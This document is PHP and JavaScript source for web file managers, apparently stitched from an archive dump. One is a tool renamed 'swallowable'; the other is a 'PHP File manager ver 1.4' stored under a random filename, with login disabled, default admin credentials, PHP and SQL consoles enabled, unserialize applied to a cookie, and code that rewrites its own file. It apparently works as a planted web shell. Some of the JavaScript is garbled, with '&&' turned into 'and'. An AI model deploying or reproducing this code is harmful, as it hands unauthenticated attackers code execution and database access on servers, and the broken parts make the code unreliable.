                var data = {ajax: true, content: n, type: 'save', token: window.csrf};

                $.ajax({
                    type: "POST",
                    url: window.location,
                    data: JSON.stringify(data),
                    contentType: "application/json; charset=utf-8",
                    success: function(mes){toast("Saved Successfully"); window.onbeforeunload = function() {return}},
                    failure: function(mes) {toast("Error: try again");},
                    error: function(mes) {toast(`<p style="background-color:red">${mes.responseText}</p>`);}
                });
            } else {
                var a = document.createElement("form");
                a.setAttribute("method", "POST"), a.setAttribute("action", "");
                var o = document.createElement("textarea");
                o.setAttribute("type", "textarea"), o.setAttribute("name", "savedata");
                let cx = document.createElement("input"); cx.setAttribute("type", "hidden");cx.setAttribute("name", "token");cx.setAttribute("value", window.csrf);
                var c = document.createTextNode(n);
                o.appendChild(c), a.appendChild(o), a.appendChild(cx), document.body.appendChild(a), a.submit()
            }
        }
    }
    function show_new_pwd() { $(".js-new-pwd").toggleClass('hidden'); }
    // Save Settings
    function save_settings($this) {
        let form = $($this);
        $.ajax({
            type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&token="+ window.csrf +"&ajax="+true,
            success: function (data) {if(data) { window.location.reload();}}
        }); return false;
    }
    //Create new password hash
    function new_password_hash($this) {
        let form = $($this), $pwd = $("#js-pwd-result"); $pwd.val('');
        $.ajax({
            type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&token="+ window.csrf +"&ajax="+true,
            success: function (data) { if(data) { $pwd.val(data); } }
        }); return false;
    }
    // Upload files using URL @param {Object}
    function upload_from_url($this) {
        let form = $($this), resultWrapper = $("div#js-url-upload__list");
        $.ajax({
            type: form.attr('method'), url: form.attr('action'), data: form.serialize()+"&token="+ window.csrf +"&ajax="+true,
            beforeSend: function() { form.find("input[name=uploadurl]").attr("disabled","disabled"); form.find("button").hide(); form.find(".lds-facebook").addClass('show-me'); },
            success: function (data) {
                if(data) {
                    data = JSON.parse(data);
                    if(data.done) {
                        resultWrapper.append('<div class="alert alert-success row">Uploaded Successful: '+data.done.name+'</div>'); form.find("input[name=uploadurl]").val('');
                    } else if(data['fail']) { resultWrapper.append('<div class="alert alert-danger row">Error: '+data.fail.message+'</div>'); }
                    form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass('show-me');
                }
            },
            error: function(xhr) {
                form.find("input[name=uploadurl]").removeAttr("disabled");form.find("button").show();form.find(".lds-facebook").removeClass('show-me');console.error(xhr);
            }
        }); return false;
    }
    // Search template
    function search_template(data) {
        var response = "";
        $.each(data, function (key, val) {
            response += `<li><a href="?p=${val.path}&view=${val.name}">${val.path}/${val.name}</a></li>`;
        });
        return response;
    }
    // Advance search
    function fm_search() {
        var searchTxt = $("input#advanced-search").val(), searchWrapper = $("ul#search-wrapper"), path = $("#js-search-modal").attr("href"), _html = "", $loader = $("div.lds-facebook");
        if(!!searchTxt and searchTxt.length > 2 and path) {
            var data = {ajax: true, content: searchTxt, path:path, type: 'search', token: window.csrf };
            $.ajax({
                type: "POST",
                url: window.location,
                data: data,
                beforeSend: function() {
                    searchWrapper.html('');
                    $loader.addClass('show-me');
                },
                success: function(data){
                    $loader.removeClass('show-me');
                    data = JSON.parse(data);
                    if(data and data.length) {
                        _html = search_template(data);
                        searchWrapper.html(_html);
                    } else { searchWrapper.html('<p class="m-2">No result found!<p>'); }
                },
                error: function(xhr) { $loader.removeClass('show-me'); searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>'); },
                failure: function(mes) { $loader.removeClass('show-me'); searchWrapper.html('<p class="m-2">ERROR: Try again later!</p>');}
            });
        } else { searchWrapper.html("OOPS: minimum 3 characters required!"); }
    }

    // action confirm dailog modal
    function confirmDailog(e, id = 0, title = "Action", content = "", action = null) {
        e.preventDefault();
        const tplObj = {id, title, content: decodeURIComponent(content.replace(/\+/g, ' ')), action};
        let tpl = $("#js-tpl-confirm").html();
        $(".modal.confirmDailog").remove();
        $('#wrapper').append(template(tpl,tplObj));
        const $confirmDailog = $("#confirmDailog-"+tplObj.id);
        $confirmDailog.modal('show');
        return false;
    }
    

    // on mouse hover image preview
    !function(s){s.previewImage=function(e){var o=s(document),t=".previewImage",a=s.extend({xOffset:20,yOffset:-20,fadeIn:"fast",css:{padding:"5px",border:"1px solid #cccccc","background-color":"#fff"},eventSelector:"[data-preview-image]",dataKey:"previewImage",overlayId:"preview-image-plugin-overlay"},e);return o.off(t),o.on("mouseover"+t,a.eventSelector,function(e){s("p#"+a.overlayId).remove();var o=s("<p>").attr("id",a.overlayId).css("position","absolute").css("display","none").append(s('<img class="c-preview-img">').attr("src",s(this).data(a.dataKey)));a.cssando.css(a.css),s("body").append(o),o.css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px").fadeIn(a.fadeIn)}),o.on("mouseout"+t,a.eventSelector,function(){s("#"+a.overlayId).remove()}),o.on("mousemove"+t,a.eventSelector,function(e){s("#"+a.overlayId).css("top",e.pageY+a.yOffset+"px").css("left",e.pageX+a.xOffset+"px")}),this},s.previewImage()}(jQuery);

    // Dom Ready Events
    $(document).ready( function () {
        // dataTable init
        var $table = $('#main-table'),
            tableLng = $table.find('th').length,
            _targets = (tableLng and tableLng == 7 ) ? [0, 4,5,6] : tableLng == 5 ? [0,4] : [3];
            mainTable = $('#main-table').DataTable({paging: false, info: false, order: [], columnDefs: [{targets: _targets, orderable: false}]
        });
        // filter table
        $('#search-addon').on( 'keyup', function () {
            mainTable.search( this.value ).draw();
        });
        $("input#advanced-search").on('keyup', function (e) {
            if (e.keyCode === 13) { fm_search(); }
        });
        $('#search-addon3').on( 'click', function () { fm_search(); });
        //upload nav tabs
        $(".fm-upload-wrapper .card-header-tabs").on("click", 'a', function(e){
            e.preventDefault();let target=$(this).data('target');
            $(".fm-upload-wrapper .card-header-tabs a").removeClass('active');$(this).addClass('active');
            $(".fm-upload-wrapper .card-tabs-container").addClass('hidden');$(target).removeClass('hidden');
        });
    });
</script>
<?php if (isset($_GET['edit']) and isset($_GET['env']) and FM_EDIT_FILE and !FM_READONLY):
        
        $ext = pathinfo($_GET["edit"], PATHINFO_EXTENSION);
        $ext =  $ext == "js" ? "javascript" :  $ext;
        ?>
    <?php print_external('js-ace'); ?>
    <script>
        var editor = ace.edit("editor");
        editor.getSession().setMode( {path:"ace/mode/<?php echo $ext; ?>", inline:true} );
        //editor.setTheme("ace/theme/twilight"); //Dark Theme
        editor.setShowPrintMargin(false); // Hide the vertical ruler
        function ace_commend (cmd) { editor.commands.exec(cmd, editor); }
        editor.commands.addCommands([{
            name: 'save', bindKey: {win: 'Ctrl-S',  mac: 'Command-S'},
            exec: function(editor) { edit_save(this, 'ace'); }
        }]);
        function renderThemeMode() {
            var $modeEl = $("select#js-ace-mode"), $themeEl = $("select#js-ace-theme"), $fontSizeEl = $("select#js-ace-fontSize"), optionNode = function(type, arr){ var $Option = ""; $.each(arr, function(i, val) { $Option += "<option value='"+type+i+"'>" + val + "</option>"; }); return $Option; },
                _data = {"aceTheme":{"bright":{"chrome":"Chrome","clouds":"Clouds","crimson_editor":"Crimson Editor","dawn":"Dawn","dreamweaver":"Dreamweaver","eclipse":"Eclipse","github":"GitHub","iplastic":"IPlastic","solarized_light":"Solarized Light","textmate":"TextMate","tomorrow":"Tomorrow","xcode":"XCode","kuroir":"Kuroir","katzenmilch":"KatzenMilch","sqlserver":"SQL Server"},"dark":{"ambiance":"Ambiance","chaos":"Chaos","clouds_midnight":"Clouds Midnight","dracula":"Dracula","cobalt":"Cobalt","gruvbox":"Gruvbox","gob":"Green on Black","idle_fingers":"idle Fingers","kr_theme":"krTheme","merbivore":"Merbivore","merbivore_soft":"Merbivore Soft","mono_industrial":"Mono Industrial","monokai":"Monokai","pastel_on_dark":"Pastel on dark","solarized_dark":"Solarized Dark","terminal":"Terminal","tomorrow_night":"Tomorrow Night","tomorrow_night_blue":"Tomorrow Night Blue","tomorrow_night_bright":"Tomorrow Night Bright","tomorrow_night_eighties":"Tomorrow Night 80s","twilight":"Twilight","vibrant_ink":"Vibrant Ink"}},"aceMode":{"javascript":"JavaScript","abap":"ABAP","abc":"ABC","actionscript":"ActionScript","ada":"ADA","apache_conf":"Apache Conf","asciidoc":"AsciiDoc","asl":"ASL","assembly_x86":"Assembly x86","autohotkey":"AutoHotKey","apex":"Apex","batchfile":"BatchFile","bro":"Bro","c_cpp":"C and C++","c9search":"C9Search","cirru":"Cirru","clojure":"Clojure","cobol":"Cobol","coffee":"CoffeeScript","coldfusion":"ColdFusion","csharp":"C#","csound_document":"Csound Document","csound_orchestra":"Csound","csound_score":"Csound Score","css":"CSS","curly":"Curly","d":"D","dart":"Dart","diff":"Diff","dockerfile":"Dockerfile","dot":"Dot","drools":"Drools","edifact":"Edifact","eiffel":"Eiffel","ejs":"EJS","elixir":"Elixir","elm":"Elm","erlang":"Erlang","forth":"Forth","fortran":"Fortran","fsharp":"FSharp","fsl":"FSL","ftl":"FreeMarker","gcode":"Gcode","gherkin":"Gherkin","gitignore":"Gitignore","glsl":"Glsl","gobstones":"Gobstones","golang":"Go","graphqlschema":"GraphQLSchema","groovy":"Groovy","haml":"HAML","handlebars":"Handlebars","haskell":"Haskell","haskell_cabal":"Haskell Cabal","haxe":"haXe","hjson":"Hjson","html":"HTML","html_elixir":"HTML (Elixir)","html_ruby":"HTML (Ruby)","ini":"INI","io":"Io","jack":"Jack","jade":"Jade","java":"Java","json":"JSON","jsoniq":"JSONiq","jsp":"JSP","jssm":"JSSM","jsx":"JSX","julia":"Julia","kotlin":"Kotlin","latex":"LaTeX","less":"LESS","liquid":"Liquid","lisp":"Lisp","livescript":"LiveScript","logiql":"LogiQL","lsl":"LSL","lua":"Lua","luapage":"LuaPage","lucene":"Lucene","makefile":"Makefile","markdown":"Markdown","mask":"Mask","matlab":"MATLAB","maze":"Maze","mel":"MEL","mixal":"MIXAL","mushcode":"MUSHCode","mysql":"MySQL","nix":"Nix","nsis":"NSIS","objectivec":"Objective-C","ocaml":"OCaml","pascal":"Pascal","perl":"Perl","perl6":"Perl 6","pgsql":"pgSQL","php_laravel_blade":"PHP (Blade Template)","php":"PHP","puppet":"Puppet","pig":"Pig","powershell":"Powershell","praat":"Praat","prolog":"Prolog","properties":"Properties","protobuf":"Protobuf","python":"Python","r":"R","razor":"Razor","rdoc":"RDoc","red":"Red","rhtml":"RHTML","rst":"RST","ruby":"Ruby","rust":"Rust","sass":"SASS","scad":"SCAD","scala":"Scala","scheme":"Scheme","scss":"SCSS","sh":"SH","sjs":"SJS","slim":"Slim","smarty":"Smarty","snippets":"snippets","soy_template":"Soy Template","space":"Space","sql":"SQL","sqlserver":"SQLServer","stylus":"Stylus","svg":"SVG","swift":"Swift","tcl":"Tcl","terraform":"Terraform","tex":"Tex","text":"Text","textile":"Textile","toml":"Toml","tsx":"TSX","twig":"Twig","typescript":"Typescript","vala":"Vala","vbscript":"VBScript","velocity":"Velocity","verilog":"Verilog","vhdl":"VHDL","visualforce":"Visualforce","wollok":"Wollok","xml":"XML","xquery":"XQuery","yaml":"YAML","django":"Django"},"fontSize":{8:8,10:10,11:11,12:12,13:13,14:14,15:15,16:16,17:17,18:18,20:20,22:22,24:24,26:26,30:30}};
            if(_data and _data.aceMode) { $modeEl.html(optionNode("ace/mode/", _data.aceMode)); }
            if(_data and _data.aceTheme) { var lightTheme = optionNode("ace/theme/", _data.aceTheme.bright), darkTheme = optionNode("ace/theme/", _data.aceTheme.dark); $themeEl.html("<optgroup label=\"Bright\">"+lightTheme+"</optgroup><optgroup label=\"Dark\">"+darkTheme+"</optgroup>");}
            if(_data and _data.fontSize) { $fontSizeEl.html(optionNode("", _data.fontSize)); }
            $modeEl.val( editor.getSession().$modeId );
            $themeEl.val( editor.getTheme() );
            $fontSizeEl.val(12).change();
        }

        $(function(){
            renderThemeMode();
            $(".js-ace-toolbar").on("click", 'button', function(e){
                e.preventDefault();
                let cmdValue = $(this).attr("data-cmd"), editorOption = $(this).attr("data-option");
                if(cmdValue and cmdValue != "none") {
                    ace_commend(cmdValue);
                } else if(editorOption) {
                    if(editorOption == "fullscreen") {
                        (void 0!==document.fullScreenElementandnull===document.fullScreenElement||void 0!==document.msFullscreenElementandnull===document.msFullscreenElement||void 0!==document.mozFullScreenand!document.mozFullScreen||void 0!==document.webkitIsFullScreenand!document.webkitIsFullScreen)
                        and(editor.container.requestFullScreen?editor.container.requestFullScreen():editor.container.mozRequestFullScreen?editor.container.mozRequestFullScreen():editor.container.webkitRequestFullScreen?editor.container.webkitRequestFullScreen(Element.ALLOW_KEYBOARD_INPUT):editor.container.msRequestFullscreenandeditor.container.msRequestFullscreen());
                    } else if(editorOption == "wrap") {
                        let wrapStatus = (editor.getSession().getUseWrapMode()) ? false : true;
                        editor.getSession().setUseWrapMode(wrapStatus);
                    }
                }
            });
            $("select#js-ace-mode, select#js-ace-theme, select#js-ace-fontSize").on("change", function(e){
                e.preventDefault();
                let selectedValue = $(this).val(), selectionType = $(this).attr("data-type");
                if(selectedValue and selectionType == "mode") {
                    editor.getSession().setMode(selectedValue);
                } else if(selectedValue and selectionType == "theme") {
                    editor.setTheme(selectedValue);
                }else if(selectedValue and selectionType == "fontSize") {
                    editor.setFontSize(parseInt(selectedValue));
                }
            });
        });
    </script>
<?php endif; ?>
<div id="snackbar"></div>
</body>
</html>
<?php
}

function lng($txt) {
    global $lang;

    $tr['en']['AppName']        = 'swallowable';      $tr['en']['AppTitle']           = 'swallowable';
    $tr['en']['Login']          = 'Sign in';                $tr['en']['Username']           = 'Username';
    $tr['en']['Password']       = 'Password';               $tr['en']['Logout']             = 'Sign Out';
    $tr['en']['Move']           = 'Move';                   $tr['en']['Copy']               = 'Copy';
    $tr['en']['Save']           = 'Save';                   $tr['en']['SelectAll']          = 'Select all';
    $tr['en']['UnSelectAll']    = 'Unselect all';           $tr['en']['File']               = 'File';
    $tr['en']['Back']           = 'Back';                   $tr['en']['Size']               = 'Size';
    $tr['en']['Perms']          = 'Perms';                  $tr['en']['Modified']           = 'Modified';
    $tr['en']['Owner']          = 'Owner';                  $tr['en']['Search']             = 'Search';
    $tr['en']['NewItem']        = 'New Item';               $tr['en']['Folder']             = 'Folder';
    $tr['en']['Delete']         = 'Delete';                 $tr['en']['Rename']             = 'Rename';
    $tr['en']['CopyTo']         = 'Copy to';                $tr['en']['DirectLink']         = 'Direct link';
    $tr['en']['UploadingFiles'] = 'Upload Files';           $tr['en']['ChangePermissions']  = 'Change Permissions';
    $tr['en']['Copying']        = 'Copying';                $tr['en']['CreateNewItem']      = 'Create New Item';
    $tr['en']['Name']           = 'Name';                   $tr['en']['AdvancedEditor']     = 'Advanced Editor';
    $tr['en']['Actions']        = 'Actions';                $tr['en']['Folder is empty']    = 'Folder is empty';
    $tr['en']['Upload']         = 'Upload';                 $tr['en']['Cancel']             = 'Cancel';
    $tr['en']['InvertSelection']= 'Invert Selection';       $tr['en']['DestinationFolder']  = 'Destination Folder';
    $tr['en']['ItemType']       = 'Item Type';              $tr['en']['ItemName']           = 'Item Name';
    $tr['en']['CreateNow']      = 'Create Now';             $tr['en']['Download']           = 'Download';
    $tr['en']['Open']           = 'Open';                   $tr['en']['UnZip']              = 'UnZip';
    $tr['en']['UnZipToFolder']  = 'UnZip to folder';        $tr['en']['Edit']               = 'Edit';
    $tr['en']['NormalEditor']   = 'Normal Editor';          $tr['en']['BackUp']             = 'Back Up';
    $tr['en']['SourceFolder']   = 'Source Folder';          $tr['en']['Files']              = 'Files';
    $tr['en']['Move']           = 'Move';                   $tr['en']['Change']             = 'Change';
    $tr['en']['Settings']       = 'Settings';               $tr['en']['Language']           = 'Language';        
    $tr['en']['ErrorReporting'] = 'Error Reporting';        $tr['en']['ShowHiddenFiles']    = 'Show Hidden Files';
    $tr['en']['Help']           = 'Help';                   $tr['en']['Created']            = 'Created';
    $tr['en']['Help Documents'] = 'Help Documents';         $tr['en']['Report Issue']       = 'Report Issue';
    $tr['en']['Generate']       = 'Generate';               $tr['en']['FullSize']           = 'Full Size';              
    $tr['en']['HideColumns']    = 'Hide Perms/Owner columns';$tr['en']['You are logged in'] = 'You are logged in';
    $tr['en']['Nothing selected']   = 'Nothing selected';   $tr['en']['Paths must be not equal']    = 'Paths must be not equal';
    $tr['en']['Renamed from']       = 'Renamed from';       $tr['en']['Archive not unpacked']       = 'Archive not unpacked';
    $tr['en']['Deleted']            = 'Deleted';            $tr['en']['Archive not created']        = 'Archive not created';
    $tr['en']['Copied from']        = 'Copied from';        $tr['en']['Permissions changed']        = 'Permissions changed';
    $tr['en']['to']                 = 'to';                 $tr['en']['Saved Successfully']         = 'Saved Successfully';
    $tr['en']['not found!']         = 'not found!';         $tr['en']['File Saved Successfully']    = 'File Saved Successfully';
    $tr['en']['Archive']            = 'Archive';            $tr['en']['Permissions not changed']    = 'Permissions not changed';
    $tr['en']['Select folder']      = 'Select folder';      $tr['en']['Source path not defined']    = 'Source path not defined';
    $tr['en']['already exists']     = 'already exists';     $tr['en']['Error while moving from']    = 'Error while moving from';
    $tr['en']['Create archive?']    = 'Create archive?';    $tr['en']['Invalid file or folder name']    = 'Invalid file or folder name';
    $tr['en']['Archive unpacked']   = 'Archive unpacked';   $tr['en']['File extension is not allowed']  = 'File extension is not allowed';
    $tr['en']['Root path']          = 'Root path';          $tr['en']['Error while renaming from']  = 'Error while renaming from';
    $tr['en']['File not found']     = 'File not found';     $tr['en']['Error while deleting items'] = 'Error while deleting items';
    $tr['en']['Moved from']         = 'Moved from';         $tr['en']['Generate new password hash'] = 'Generate new password hash';
    $tr['en']['Login failed. Invalid username or password'] = 'Login failed. Invalid username or password';
    $tr['en']['password_hash not supported, Upgrade PHP version'] = 'password_hash not supported, Upgrade PHP version';
    $tr['en']['Advanced Search']    = 'Advanced Search';    $tr['en']['Error while copying from']    = 'Error while copying from';
    $tr['en']['Invalid characters in file name']                = 'Invalid characters in file name';
    $tr['en']['FILE EXTENSION HAS NOT SUPPORTED']               = 'FILE EXTENSION HAS NOT SUPPORTED';
    $tr['en']['Selected files and folder deleted']              = 'Selected files and folder deleted';
    $tr['en']['Error while fetching archive info']              = 'Error while fetching archive info';
    $tr['en']['Delete selected files and folders?']             = 'Delete selected files and folders?';
    $tr['en']['Search file in folder and subfolders...']        = 'Search file in folder and subfolders...';
    $tr['en']['Access denied. IP restriction applicable']       = 'Access denied. IP restriction applicable';
    $tr['en']['Invalid characters in file or folder name']      = 'Invalid characters in file or folder name';
    $tr['en']['Operations with archives are not available']     = 'Operations with archives are not available';
    $tr['en']['File or folder with this path already exists']   = 'File or folder with this path already exists';

    $i18n = fm_get_translations($tr);
    $tr = $i18n ? $i18n : $tr;

    if (!strlen($lang)) $lang = 'en';
    if (isset($tr[$lang][$txt])) return fanco($tr[$lang][$txt]);
    else if (isset($tr['en'][$txt])) return fanco($tr['en'][$txt]);
    else return "$txt";
}

?>PKLm\���7�5�5	vf6tc.phpnu�[���<?php
/* PHP File manager ver 1.4 */

// Configuration — do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/fahriyzx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

